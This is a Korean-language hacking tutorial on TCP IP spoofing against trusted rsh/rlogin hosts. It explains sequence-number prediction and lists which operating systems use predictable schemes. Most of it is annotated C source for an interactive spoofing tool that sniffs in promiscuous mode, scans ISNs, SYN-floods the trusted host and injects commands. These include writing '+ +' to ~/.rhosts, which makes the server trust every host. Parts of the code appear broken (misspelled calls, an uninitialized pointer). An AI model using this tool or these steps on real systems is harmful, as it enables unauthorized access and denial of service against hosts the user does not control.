IP Spoofing-V1.0

저자    : 한제헌(Getroot)

홈페이지: www.purn.net

메일    : getroot@secsm.org

소속    : Samsung Software Membership(www.secsm.org)

저작권 :  이 부분을 삭제하지 않는다면 어디에도 사용할 수 있음

------:  잘못된 내용이나 질문이 있다면 메일이나 홈페이지에 글을 남겨주세요.

IP-Spoofing 공격은 TCP/IP 프로토콜의 설계상의 결점으로 인해서 일어나는 공격이다. 우선 IP-Spoofing 공격의 개략적 방법을 살펴보자.

서버와 클라이언트의 컴퓨터 2대가 있는데 이 컴퓨터들은 신뢰적 관계이다. 즉 rsh와 rlogin등 r*명령어 사용이 가능하다는 말이다. rsh 와 rlogin을 잘 모르겠다면 리눅스 네트워크 명령어란을 복습하자. 이때 해커는 클라이언트의 연결을 DoS 공격으로 마비시키고 IP를 속여서 서버에 연결을 요청한다. 그러면 서버는 TCP 프로토콜의 인증 과정에 의해 SYN/ACK를 보내는데 이때 해커는 여러번 오는 이 패킷들을 잘 살펴 다음 SYN 순차번호를 예측해서 맞는 번호를 보낸다. 이것을 그림으로 살펴보면 다음과 같다.

③

서버A         ④                                클라이언트B

②	①

해커C

ⓛ서버A와 클라이언트B는 서로 신뢰 관계이다. 해커C는 클라이언트B를 DoS 공격으로 마    비 시킨다.

②. 그리고 해커 C는 서버A에 연결을 요청한다. SYN을 추측하기 연결을 요청해 그 번호를    읽어서 B가 보내야 하는 번호를 추측한다.

③. 서버는 클라이언트에서 온 패킷인줄 알고 클라이언트로 SYN,ACK를 보낸다.

하지만 클라이언트는 DoS 공격 때문에 연결이 되지 않기 때문에 연결이 이루어지지 않     는다. 그 패킷은 사라지게 된다.

④. 이때 서버A는 클라이언트B가 패킷을 받았는지 확인할 길은 다시 돌아오는 ACK를 보고 하는 수밖에 없다. 그때 우리가 대신 이 추측한 SYN 패킷과 명령어가 들어있는 패킷을 보내 신뢰 관계에 있는 패킷이라고 속여서 연결이 이루어지게 된다.

이것이 IP-Spoofing 의 방법이다. 이 방법은 TCP 의 설계 결함 때문에 이루어지는 공격인데 어떤 것인지 살펴보자.

1. TCP의 결함

(1). 인증

호스트에 대한 인증을 출발지 IP로만 인증 한다. 이 IP는 위에 DoS 공격에서도 해 보았듯이 헤더를 고치면 쉽게 가능해 진다.

(2). 순서번호

일렬 번호를 추측 가능하게 설계한 것이다. 사실 TCP 설계의 규약을 보면 초당 25,000번씩 순서 번호를 증가시키도록 되어있다. 하지만 운영체제에서 이것을 설계할 때 실질적으로 초당 25,000번씩 순서번호를 증가시킨다면 운영체제에 상당한 부하가 일어날 것이다. 그렇기 때문에 1초에 1번씩만 변화하도록 설계한 것이 IP-Spoofing을 가능하게 해주는 결과가 되었다.

개념정리

그럼 개념을 하나 하나 정리하면서 IP-Spoofing 에 도달해 보자.

(1) 신뢰 관계

신뢰 관계라는 것은 서로를 믿는 관계라는 것이다. 즉, 아무런 절차 없이 그 호스트로 들어갈 수 있다는 말이다. 그럼 호스트를 신뢰관계로 만들려면 어떻게 해야 할까? 바로 홈 디렉토리에 .rhosts 파일을 편집해 주면 된다.  2개의 필드로 구분해서 처리해 준다.

신뢰하는IP 신뢰하는ID

이렇게 신뢰하는 호스트의 신뢰하는 ID를 써주면 된다. +를 넣는다면 모든 것을 신뢰한다는 말이다.

+ +

라고 넣어주면 모든 호스트의 모든 ID를 신뢰하게 된다.

(2) ISN과 일렬번호의 변화

그렇다면 ISN 과 일렬번호는 어떤 규칙에 의해서 변화하는 것일까? ISN 에 대해서 다시 설명하자면 Initial Sequence Number의 약자로 처음에 클라이언트가 서버로 보내는 SYN을 ISN이라고 한다.

일렬번호의 변화는 운영체제마다 다른 방식을 사용하고 있다. 시간에 비례해서 순서번호를 증가시키는 방식과 SYN 패킷을 받을 때마다 64,000 씩 증가시키는 방법과 무작위로 증가시키는 방법이다.

① 시간에 비례해서 바뀌는 방식

최초의 일렬번호는 호스트가 부팅 되었을 때 1로 초기화된다. 그리고 ISN 은 초당 128,000씩 증가한다. TCP 일렬번호는 32비트로 이루어지므로 0~[eqn: 2^32](4,294,967,296)까지 범위가 걸쳐 있는 것이다. 그렇게 계속 증가하면 9시간 32분이 되면서 ISN이 다시 한바퀴 돌게 된다. 그리고 연결이 이루어지면 64,000씩 증가하게 된다.

∴ IRIX 6.2 와 그 이후버전

∴ OFS 4.0 과 그 이후버전

∴ Linux 1.x 와 그 이전버전

∴ SunOS 5.5와 그 이후버전

∴ MS 윈도우 전 버전

∴ Free BSD

② 패킷을 받을 때마다 증가시키는 방식

이 방식은 제일 추측하기가 편한 방법으로서 패킷을 받을 때마다 64,000 씩 증가시킨다. 그 서버에 아무도 접속을 하지 않는 새벽시간 같을 때는 정말 쉽게 성공할 수 있는 방식이다.

∴ HP-UX 모든 버전

∴ IRIX 5.3 과 그 이전버전

∴ SunOS 5.4 와 그 이전버전

∴ AIX 3과 그 이전버전

∴ OSF 3.2 와 그 이전버전

③ 무작위로 변화시키는 방식

이 방식은 추측하기가 매우 어려워 IP-Spoofing 에 비교적 안전 하다고 할 수 있다.

∴ AIX 4와 그 이후 버전

∴ Linux 2.x와 그 이후버전

이런 예측 가능한 번호 때문에 IP-Spoofing 이 가능해 지는 것이다. 즉 B를 멈추게 하고 A에게 B가 보내려고 했던 번호를 추측해서 보내면서 C가 B인 것처럼 속일 수 있는 것이다.

3. 공격

(1) 공격을 위해 필요한 것들

IP-Spoofing을 하기 위해서는 다음의 조건이 필요하다.

① 공격하려는 호스트

② 공격하려는 호스트와 신뢰관계에 있는 호스트

③ 공격용 호스트(보통 리눅스 system을 사용하면 될 것이다. root 계정 이여야 한다.)

④ IP - Spoofing software

일반적으로 공격할 때는 공격에 사용하는 호스트에서 root 여야 한다. 상대편 호스트의 root를 공격하는 것이기 때문이고, 또 raw socket 프로그래밍을 하려면 root의 권한으로 컴파일하고 실행해야 하기 때문이다.

(1) 신뢰관계의 호스트 알아내기

제일 처음에 해야 할 일은, 잘 알고있듯이 신뢰관계의 호스트를 찾는 것이다. 우리가 공격해야할 호스트가 신뢰하는 컴퓨터가 없다면 우리는 IP-Spoofing을 할 수가 없다.

신뢰 관계에 있는 호스트를 추측하는 것은 finger 명령으로 그 호스트에 다른 곳에서 root로 접속해 있는지 알아보고 만약 그렇다면 그것은 신뢰관계에 있다고 의심할 수 있다. 또 showmount -e 명령으로 열린 파일시스템을 보고, rpcinfo를 통해 그 호스트의 정보를 알아내면 된다. 만약 이것이 불가능 했다면 맨 뒷자리만 다른 IP 주소를 하나하나 점찍으면서 공격해 보는 방법도 있다. 도메인 주소로 추측하는 방법도 있는데 www.xxx.com 이라는 호스트와 ftp.xxx.com 이라는 호스트는 신뢰관계에 있다고 의심해 볼만하다.

(2)  일렬번호 예측하기

여기서는 초단위로 변하는 ISN을 예측해 보겠다. 사실 패킷을 받는 대로 증가시키는 방식은 패킷을 몇 번 보내서 다음 번호가 무엇인지 비교적 쉽게 예측 할 수 있기 때문이고, 무작위로 변하는 방식은 찍기(?) 나 다름없기 때문에 책에 실을 수 없는 내용이다.

① 공격하려는 서버A에 SYN을 보내서 돌아오는 ISN과 그때의 시간을 저장한다.              30분 10초였었다고 가정한다. 이때 돌아온 ISN은 64,000이라고 가정한다.

② PING 명령어로 패킷이 갔다가 돌아오는 시간(RTT)를 저장한다. 이 과정을 여러번 해     서 평균을 구한다. 서버가 패킷을 받아서 ISN을 생성한 시간은 우리가 SYN을 보낸 시     간이 아니라 서버에 도착한 시간이기 때문이다.

평균시간이 4초였다고 가정한다.

③ 그 다음 연결된 후에는 초당 64,000씩, 연결이 되지 않았을 때에는 초당 128,000씩 패킷     이 변하는 규칙을 이용해 다음 일렬번호를 예측한다. 지금까지 6초가 걸렸다.

④ IP를 신뢰하는 호스트로 속여서 SYN패킷을 보낸다. 2초후에 받게 되니 8초부터는         64,000씩 증가되게 된다.

⑤ 이제 맞는 패킷을 보낼 시간이다. 지금까지 10초가 걸렸다고 가정하면, 서버가 패킷을      받아서 ISN을 생성할 시간은 도착한 시간 2초 후가 된다. 12초가 지난 값을 계산하         면 8초까지는 128,000씩 늘게 되고 8초부터 12초까지는 64,000씩 늘게 된다. 계산            을 하면

128,000 * 8 + 64,000 * 4 = 1,280,000

이 되어서 1,280,000을 보내면 되는 것이다.

사실 이렇게 예측해도 정확히 예측하기는 어렵다. 그렇기 때문에 우리가 예측한 번호에서  250정도를 더하고 뺀 사이에 있는 모든 값들을 보낸다.

정확한 일렬 번호가 오지 않았을 때 호스트는 이렇게 반응한다.

∴ 원하는 일렬번호보다 작을 때 - 전에 보냈던 데이터가 다시 온 것으로 처리해 버려지게     된다.

∴ 원하는 일렬번호보다 클 때   - 메모리에 보낸 요청한 SYN 값들이 저장되고, 차례차례     처리되게 되는데 다음에 올 패킷으로 처리해 그 중간에 원하는 값이 올 때까지 대기하게     된다.

실제 공격

실제 공격은 이렇게 이루어진다.

1. 서버에 SYN 패킷을 보내 일렬번호를 예측한다.

2. 신뢰관계에 있는 호스트를 DoS 공격으로 무력화시킨다.

3. 신뢰관계에 있는 IP로 속여서 서버A에 SYN을 보낸다.

4. 서버는 신뢰관계에 있는 호스트가 보낸 패킷인줄 알고 신뢰관계에 있는 컴퓨터에          SYN/ACK를 보내게 된다. 이때 신뢰관계에 있는 호스트는 DoS공격으로 패킷을 받을 수    없는 상태이기 때문에 이 패킷은 무시되게 된다. 그래서 서버는 신뢰관계에 있는 호스트B로부터 SYN을 받지 못하고 대기하게 된다.

5. 신뢰관계에 있는 호스트 대신에 우리가 서버에 신뢰관계에 있는 IP주소로 속여서 추측한    SYN과 서버에서 돌아갈 명령어가 들어 있는 패킷을 보낸다.

잠깐!~

처음 연결이 성공하면 shell이 뜨는 것이 아니다. shell을 띄우는 공격을 한 것이 아니기 때문이다. 그저 패킷만 보낼 수 있는 상태가 되는 것인데 그때 보통

echo "+ +" | cat > ~/.rhosts

가 실행되게 하는 패킷을 보내어 실행되게 하는 것이다. 패킷을 보내서 실행되게 하는  그 다음 당당히 그 서버로 들어가서 shell을 보게 되는 것이다.

그럼 1,2,3,4,5번의 모든 기능을 가지고 있는 프로그램을 만들어 보자.

#include "sys/socket.h"

#include "netdb.h"

#include "stdlib.h"

#include "unistd.h"

#include "stdio.h"

#include "errno.h"

#include "netinet/in.h"

#include "netinet/ip.h"

#include "linux/if.h"

#include "sys/ioctl.h"

#include "sys/types.h"

#include "signal.h"

#include "fcntl.h"

#include "linux/tcp.h"

헤더파일을 선언해준다.

#define URG 32

#define ACK 16

#define PSH 8

#define RST 4

#define SYN 2

#define FIN 1

tcp 패킷을 보내거나 받을때의 플레그 이다.

#define SCANSEQ         0x3E65F666

ACK 패킷을 받아올때 보내는 SYN 이다.

#define SPOOFSEQ        0x223EE666

IP 를 속여서 보낼때의 속이는 SYN 이다.

#define IP_VERSION      4

#define MTU             1500

#define IP_HEAD_BASE    20

#define TCP_HEAD_BASE   20

#define ICMP_HEAD_BASE  8

IP 헤더의 크기, TCP 헤더의 크기등의 정보이다.

#define IO_HANDLE       1

#define IO_NONBLOCK     2

시그널 처리에 사용하는 플레그이다.

#define INTERFACE       "eth0"

#define INTERFACE_PREFIX 14

자신의 랜카드의 인터페이스와, 그 정보이다. 모뎀 사용자라면 eth0 을 ppp로 INTERFACE_PREFIX 를 0으로

고쳐주면 된다.

char target_ip[200], src_ip[200],My_IP[200];

int  target_port, src_port, My_port;

내 IP, PORT 공격할 호스트의 IP,PORT 속일 호스트의 IP, PORT 를 저장해 줄 공간을 만든다.

int fd_send, fd_receive;

보내는 소켓과, 받는 소켓으로 사용할 변수를 지정해 준다.

int is_64k;

64K ruler 인지 체크하는 플레그이다.

int DEV_PREFIX = 9999;

sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

int KEEPQUIET = 0;

unsigned long syn_list[5];

int rc_fd_abc123;

sig_atomic_t RC_FILTSET=0;

char rc_filter_string[50];

sig_atomic_t SP_DATA_BUSY=0;

unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0;

unsigned int CUR_DATALEN;

unsigned short CUR_FLAGS;

IO 핸들에 사용할 변수들이다.

struct sp_data_exchange {

int fd;

char *data;

int datalen;

char *source; unsigned short source_port;

char *dest;   unsigned short dest_port;

char *xtra;   unsigned short xtra_port;

unsigned long seq, ack;

unsigned short flags;

char *buffer;

int IP_optlen;

int TCP_optlen;

unsigned char ICMP_type, ICMP_code;

};

IP, TCP, ICMP 등의 프로토콜의 정보를 저장해 놓는 곳이다.

struct IP_header

{

unsigned char verlen, type;

unsigned short length, ID, flag_offset;

unsigned char TTL, protocol;

unsigned short checksum;

unsigned long int source, destination;

};

옵션을 뺀 IP 헤더 이다.

struct TCP_header

{

unsigned short source, destination;

unsigned long int seq_nr, ACK_nr;

unsigned short offset_flag, window, checksum, urgent;

};

옵션을 뺀 TCP 헤더이다.

struct sp_wait_packet

{

unsigned long seq,ack;

unsigned short flags;

unsigned short source_p, dest_p;

int datalen;

};

패킷을 받아서 저장하는 공간이다. SYN, ACK, FLAG, IP 등을 저장한다.

struct pseudo_IP_header

{

unsigned long int source, destination;

char zero_byte, protocol;

unsigned short TCP_UDP_len;

};

tcp 헤더를 알맞은 형태로 변환시켜 주기 위한 구조체이다.

void setup(int*);

int Scan_syn(unsigned long *,int,int);

void get_local();

void transmit_TCP(int,char*,int,int,int,char*,unsigned short,char*,unsigned short,unsigned long,unsigned long, unsigned short);

int wait_packet(int,struct sp_wait_packet*, char *, unsigned short,char *, unsigned short, int, int);

int open_receive(char *rc_device, char mode);

void sp_send_packet (struct sp_data_exchange *, unsigned char);

void sp_fix_TCP_packet (struct sp_data_exchange *);

void sp_fix_UDP_packet (struct sp_data_exchange *);

void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char);

unsigned short in_cksum(unsigned short *, int );

static unsigned long sp_getaddrbyname(char *);

void Synflood();

void flood(int,unsigned,unsigned,u_short,int);

void Send_auto_guess_ack(int);

함수의 원형을 지정해 넣는다.

주요 함수들을 정리해서 분석해 보도록 하고, 나머지 함수는 전체 소스에서 확인 하도록 하자.

int open_receiving (char *rc_device, char mode)

{

int or_fd;

struct sigaction rc_sa;

int fcntl_flag;

struct ifreq ifinfo;

char test;

/* create snoop socket and set interface promisc */

if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1)

perror("Couldn't open Socket."), exit(1);

소켓을 연다.

strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);

디바이스 이름 입력

if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)

perror("Couldn't get flags."), exit(1);

디바이스의 플레그를 얻는다.

ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;

무차별 모드로 바꾼다.

if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)

perror("Couldn't set flags. (PROMISC)"), exit(1);

플레그가 설정되지 않다면 에러를 출력한다.

if(mode&IO_HANDLE)

인수로 넘겨받은 값 mode 와 IO_HANDLE 과 AND연산을 해서 참값이 나온다면 다음 코드를 실행한다.

{

rc_sa.sa_handler=rc_sigio;

시그널과 관련된 동작을 명시한다.

sigemptyset(&rc_sa.sa_mask);

&rc_sa.sa_mask가 가리키는 시그널 집합을 모든 신호가 배제되도록 초기화 한다.

rc_sa.sa_flags=0;

시그널 플레그를 설정한다.

sigaction(SIGIO,&rc_sa,NULL);

}

시그널의 동작을 설정한다.

여기까지는 signal 모드를 초기화 해 준 것이다.

if(fcntl(or_fd,F_SETOWN,getpid())<0)

perror("Couldn't set ownership"), exit(1);

fcntl에 F_SETTOWN을 설정하면 시그널을 수신하는 프로세스 ID(즉 or_fd)를 설정한다.

if(mode&IO_HANDLE)

{

if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)

perror("Couldn't get FLAGS"), exit(1);

fcntl_flag 에 플레그를 읽어 들인다. fcntl에 F_GETFL 이 설정되었을 때 이 일을 하는 것이다.

if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)

perror("Couldn't set FLAGS"), exit(1);

플레그를 설정한다.

rc_fd_abc123=or_fd;

}

or_fd를 rc_fd_abc123 이라는 전역변수에 설정해준다.

else

{

if(mode&IO_NONBLOCK)

mode와 IO_HANDLE이 참값이 아니고 mode 와 IO_NONBLOCK의 AND연산이 참값이라면 초기화는 해주지 않고 다음을 실행한다.

{

if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)

perror("Couldn't get FLAGS"), exit(1);

if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)

perror("Couldn't set FLAGS"), exit(1);

};

위의 설명과 같다.

};

printf("Reading socket ready\n");

return or_fd;

}

설정한 or_fd를 반환한다.

int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned  char *proto)

{

패킷을 받아들이는 함수이다.

매개변수의 사용은 다음과 같다.

int rc_fd               소켓

char *buffer            받은 패킷을 저장한 변수

int *TCP_UDP_start      tcp,udp 가 시작하는 주소

unsigned  char *proto   받은 패킷의 프로토콜

char help_buffer[MTU];

int pack_len;

struct IP_header *gp_IPhead;

변수를 지정한다.

pack_len = read(rc_fd,help_buffer,1500);

소켓으로부터 1500크기만큼 help_buffer에 저장한다.

if(pack_len<0)

{

if(errno==EWOULDBLOCK)

{

pack_len=0;

}

else

{

perror("Read error:");

exit(1);

}

};

pack_len이 0보다 작다면 에러를 뿌리고 종료한다.

if(pack_len>0)

{

pack_len -= DEV_PREFIX;

memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);

gp_IPhead = (struct IP_header *) buffer;

받은 패킷을 buffer에 저장한다. 그리고 그 buffer를 gp_IPhead 라는 IP 구조체에 저장한다.

if(proto != NULL)

*proto = gp_IPhead->protocol;

프로토콜이 지정되지 않았다면 아까 저장한 IP 구조체에서 빼와 저장한다.

if(TCP_UDP_start != NULL)

*TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;

}

TCP나 UDP 프로토콜이 시작되는 곳을 모른다면 dp_IPhead 에서 빼와 저장한다.

return pack_len;

}

패킷 크기를 반환한다.

int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,

char *wp_source, unsigned short wp_source_port,

char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time)

{

패킷을 기다렸다가 받는 함수이다. 실제 받는 역할은 get_packet 에서 한다.

매개 변수의 사용은 다음과 같다.

int wp_fd                                소켓

struct sp_wait_packet *ret_values        패킷을 받을 구조체

char *wp_source                          출발한 곳의 IP

unsigned short wp_source_port            출발한 곳의 PORT

char *wp_dest                            도착한 곳의 IP

unsigned short wp_dest_port              도착한 곳의 PORT

int wp_flags                             받으려는 플레그

int wait_time                            기다리는 시간

char wp_buffer[1500];

struct IP_header *wp_iphead;

struct TCP_header *wp_tcphead;

unsigned long wp_sourcel, wp_destl;

int wp_tcpstart;

char wp_proto;

변수를 선언한다.

wp_sourcel=sp_getaddrbyname(wp_source);

wp_destl=sp_getaddrbyname(wp_dest);

주소를 알맞은 형태로 변환한다.

printf("\nWait packet from %s to %s\n",wp_source,wp_dest);

WAIT_PACKET_WAIT_TIME=0;

if(wait_time!=0)

{

signal(SIGALRM,wait_packet_timeout);

alarm(wait_time);

}

신호를 받으면 wait_packet_timeout을 실행한다.

while(1)

{

while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0)

{

if (WAIT_PACKET_WAIT_TIME!=0)

{

alarm(0);

return -1;

}

};

패킷을 받아서 wp_buffer에 저장한다.

if(wp_proto == 6)

{

wp_iphead= (struct IP_header *) wp_buffer;

wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);

if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )

{

if( ((ntohs(wp_tcphead->source)==wp_source_port)||(wp_source_port==0)) &&

((ntohs(wp_tcphead->destination)==wp_dest_port)||(wp_dest_port==0)) )

{

if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )

{

ret_values->source_p=ntohs(wp_tcphead->source);

ret_values->dest_p=ntohs(wp_tcphead->destination);

ret_values->seq=ntohl(wp_tcphead->seq_nr);

ret_values->ack=ntohl(wp_tcphead->ACK_nr);

ret_values->flags=ntohs(wp_tcphead->offset_flag)&(URG|ACK|PSH|FIN|RST|SYN);

ret_values->datalen = ntohs(wp_iphead->length) -

((wp_iphead->verlen & 0xF) << 2) - ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);

alarm(0);

return 0;

}

}

}

}

저장한 값을 ret_values에 저장하고 종료한다.

}

alarm(0); return -1;

}

void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto)

{

실질적으로 패킷을 전송하는 함수이다.

int sp_status;

struct sockaddr_in sp_server;

struct hostent *sp_help;

int HEAD_BASE;

변수를 선언한다. sockaddr_in은 소켓의 정보, hostent는 호스트의 정보를 저장한다.

bzero((char *)&sp_server, sizeof(struct sockaddr));

sp_server.sin_family = AF_INET;

sp_server.sin_addr.s_addr = inet_addr(sp->dest);

소켓에 정보를 저장한다. AF_INET은 인터넷 프로토콜이고, sp->dest는 목적지의 IP 이다.

if (sp_server.sin_addr.s_addr == (unsigned int)-1)

{

if (!(sp_help=gethostbyname(sp->dest)))

fprintf(stderr,"unknown host %s\n", sp->dest), exit(1);

bcopy(sp_help->h_addr,(caddr_t)&sp_server.sin_addr, sp_help->h_length);

};

주소를 IP형태로 바꾸어 준다.

switch(proto)

{

case 1: HEAD_BASE = ICMP_HEAD_BASE;  break;

case 6: HEAD_BASE = TCP_HEAD_BASE+sp->TCP_optlen;  break;

default: exit(1); break;

};

매개변수로 받은 proto가 ICMP라면 HEAD_BASE에 ICMP의 헤더크기를 넣어주고, TCP 라면 TCP 헤더크기를 넣어준다.

sp_status=sendto(sp->fd,(char*)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen,0,(structsockaddr *)&sp_server,sizeof(struct sockaddr));

전송한다.

if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen)

{

if (sp_status < 0)

perror("Sendto"), exit(1);

printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp->datalen+HEAD_BASE);

};

전송이 되지 않았다면 에러를 뿌린다.

printf("Packet transmitted...\n");

}

void transmit_TCP (int sp_fd, char *sp_data,

int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen,

char *sp_source, unsigned short sp_source_port,

char *sp_dest, unsigned short sp_dest_port,

unsigned long sp_seq, unsigned long sp_ack,

unsigned short sp_flags)

{

char sp_buffer[1500];

struct sp_data_exchange sp_struct;

bzero(sp_buffer,1500);

if (sp_ipoptlen!=0)

memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);

if (sp_tcpoptlen!=0)

memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,sp_data+sp_ipoptlen,sp_tcpoptlen);

if (sp_datalen!=0)

memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);

sp_struct.fd          = sp_fd;

sp_struct.data        = sp_data;

sp_struct.datalen     = sp_datalen;

sp_struct.source      = sp_source;

sp_struct.source_port = sp_source_port;

sp_struct.dest        = sp_dest;

sp_struct.dest_port   = sp_dest_port;

sp_struct.seq         = sp_seq;

sp_struct.ack         = sp_ack;

sp_struct.flags       = sp_flags;

sp_struct.buffer      = sp_buffer;

sp_struct.IP_optlen   = sp_ipoptlen;

sp_struct.TCP_optlen  = sp_tcpoptlen;

sp_fix_TCP_packet(&sp_struct);

sp_fix_IP_packet(&sp_struct, 6);

sp_send_packet(&sp_struct, 6);

}

이 함수는 패킷을 알맞은 형태고 고쳐서 호스트에 전송하는 것을 목적으로 한다. 상당히 많이 사용하는

함수이다. 밑에 sp_fix_TCP_packet 과 sp_fix_IP_packet 에서 알맞은 형태로 변환되고

sp_send_packet 에서 실제 데이타가 전송되게 된다.

별로 어려운 부분은 없기 때문에 이것에서 사용하는 매개변수가 무엇인지만 알아보도록 하자.

int sp_fd                        소켓

char *sp_data                    보낼 데이타(커맨드 파일을 전송할때 사용한다.)

int sp_ipoptlen                  IP 옵션의 크기

int sp_tcpoptlen                 TCP 옵션의 크기

int sp_datalen                   데이타의 크기

char *sp_source                  보내는 호스트의 IP

unsigned short sp_source_port    보내는 호스트의 포트

char *sp_dest                    받는 곳의 IP

unsigned short sp_dest_port      받는 곳의 포트

unsigned long sp_seq             SYN

unsigned long sp_ack             ACK

unsigned short sp_flags)         TCP 플레그, 맨 위에 정의되어 있다. ACK, SYN 등...

int main(int argc,char *argv[])

{

프로그램이 시작되는 main 함수이다.

int cmd;

int *after_info;

printf("\n\n\n\n\n\n");

while(1)

{

printf("\n/*************************************************/");

printf("\n/*             I p - S p o o f e r               */");

printf("\n/*********************************** getroot *****/");

printf("\n\n\t   0. Input Information\n");

if(*after_info == 1)

{

printf("\n\n\t   1. Scan SYN Packet\n");

printf("\t   2. DoS attack to src host\n");

printf("\t   3. Spoof IP and send SYN to target host\n");

printf("\t   4. Send guessing SYN and Send command file\n");

printf("\t   5. Quit program\n");

}

printf("\n\n\n\n(Input command) : ");

scanf("%d",&cmd);

switch(cmd)

{

case 0: {

setup(after_info);

break;

}

case 1:

{

Scan_ack(syn_list,5,0);

break;

}

case 2:

{

Synflood();

break;

}

case 3: {

Send_auto_guess_ack(1);

break;

}

case 4: {

Send_auto_guess_ack(2);

break;

}

case 5: {

exit(0);

break;

}

}

}

return 0;

}

번호를 선택하면 그 해당 메뉴를 실행시켜 준다. 이곳에서 부터 소스를 분석하면 쉬울 것이다.

그럼 해당 메뉴를 하나 하나 분석해 보자.

먼저 0번 setup 이다.

void setup(int *after_info)

{

is_64k = 0;

64k ruler인지를 확인해주는 플레그를 초기화 시켜준다.

if((fd_send = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1){

printf("socket error\n");

exit(-1);

}

송신하는 소켓을 연다.

fd_receive = open_receive(INTERFACE,IO_NONBLOCK);

수신하는 소켓을 연다.

get_local();

자신의 IP를 얻어온다.

printf("\n Input Target IP : ");

scanf("%s",target_ip);

printf("\n Input Target Port : ");

scanf("%d",&target_port);

printf("\n Input SRC IP : ");

scanf("%s",src_ip);

printf("\n Input SRC Port : ");

scanf("%d",&src_port);

공격지 IP,PORT 속이는 곳의 IP,PORT 를 받는다.

printf("\n\n* Success Get Info *\n");

*after_info = 1;

정보를 받았으면, 즉 0번을 클릭해서 성공적으로 끝났으면 after_info 플레그에 1을 준다.

after_info 가 1이라면 다른 메뉴가 나오게 된다.

}

다음으로 SYN 패킷을 받아 와서 뿌려주는 함수이다. 이 함수를 통해 SYN을 직접 추측할 수 있다.

int Scan_syn(unsigned long *syn_list,int nr_of_packs,int sec_delay)

{

int i, stat,scanport;

int j=0;

char buffer[1500];

struct IP_header *iphead;

struct TCP_header *tcphead;

struct sp_wait_packet pinfo;

변수를 지정해준다.

printf("\n Input scanning port: ");

scanf("%d",&scanport);

스캐닝할 port를 입력한다. 열려있는 포트를 입력해 주면 된다.

for(i=0;i<nr_of_packs;i++)

{

sleep(sec_delay);

My_port+=69;

transmit_TCP(fd_send, NULL, 0,0,0, My_IP, My_port, target_ip, scanport,SCANSEQ+(i*69),0, SYN);

syn을 증가시키면서 패킷을 보낸다.

stat=wait_packet(fd_receive,&pinfo,target_ip,scanport,My_IP,My_port,SYN|ACK,20);

SYN|ACK 플레그를 받는다.

if(stat<0)

{

return -1;

}

else

{

syn_list[i]=pinfo.seq;

if(pinfo.seq==0)

{

printf("\nThis port doesn't accept connections...\n");

exit(1);

}

}

printf("\n-----------* recieve ok *-------------\n\n");

}

for(i=0;i<5;i++)printf("*Receive data %d = [ %u ]\n",i+1,syn_list[i]);

받은 SYN을 출력한다.

if(is_64k == 0){

for(i=1;i<5;i++){

if(((syn_list[i]-syn_list[i-1])%64000)==0)j++;

}

if(j>1){

printf("\nThis system is 64k ruler\n");

is_64k = 1;

}

받은 패킷에서 그 후에 받은 패킷을 빼서 그것이 64000으로 나누어 떨어진다면 j를 1 증가시킨다.

그래서 j 가 1보다 크다면 64k rluer라고 처리한다.

else is_64k = 2;

}

printf("\n\n");

return 0;

}

2번 syn_flood는 앞에 DoS 공격에서 다루었다.

그리고 3번과 4번, 마지막 공격이다. 가장 핵심적인 부분이다.

void Send_auto_guess_ack(int auto_guess)

{

unsigned long ACK_avrg, ACK_guess, ACK_spoof, ACK_start;

unsigned long SEQ_spoof;

char hlp[200];

char *cmdfile;

FILE *cmd;

int buf_pos,i,stop=0;

unsigned char buffer[1500];

변수를 선언한다.

printf("\nInput command file name : ");

scanf("%s",cmdfile);

if((cmd = fopen(cmdfile,"r"))== NULL)

{

printf("Not open cmd file.");

exit(1);

}

커맨드 파일을 입력받아서 열어준다.

if(auto_guess == 1){

3번을 선택했을때 실행한다.

if(is_64k == 1){

Scan_syn(syn_list,2,0);

ACK_guess = syn_list[1]+64000;

}

만약 64k ruler라면 2개의 SYN을 보내서 돌아오는 2번째 번호에 64000을 더한다.

else{

Scan_syn(syn_list,5,0);

ACK_avrg = (syn_list[4] - syn_list[1])/3;

ACK_guess = syn_list[4] + ACK_avrg;

}

}

64K ruler가 아니라면 5개의 패킷을 보내서 돌아오는 5개의 패킷의 평균 증가량을

ACK_avrg에 입력받고 그것을 받은 마지막 값에 더한다.

else{

pritnf("\nInput guss ACK :");

scanf("%ul",&ACK_start);

}

4번을 선택했다면 ACK를 사용자에게 받아서 저장한다.

transmit_TCP(fd_send, NULL,0,0,0,src_ip,src_port,target_ip,target_port,SEQ_spoof,0,SYN);

SYN을 하나 보낸다.

printf("\nSend syn packet to target host\n");

sleep(10);

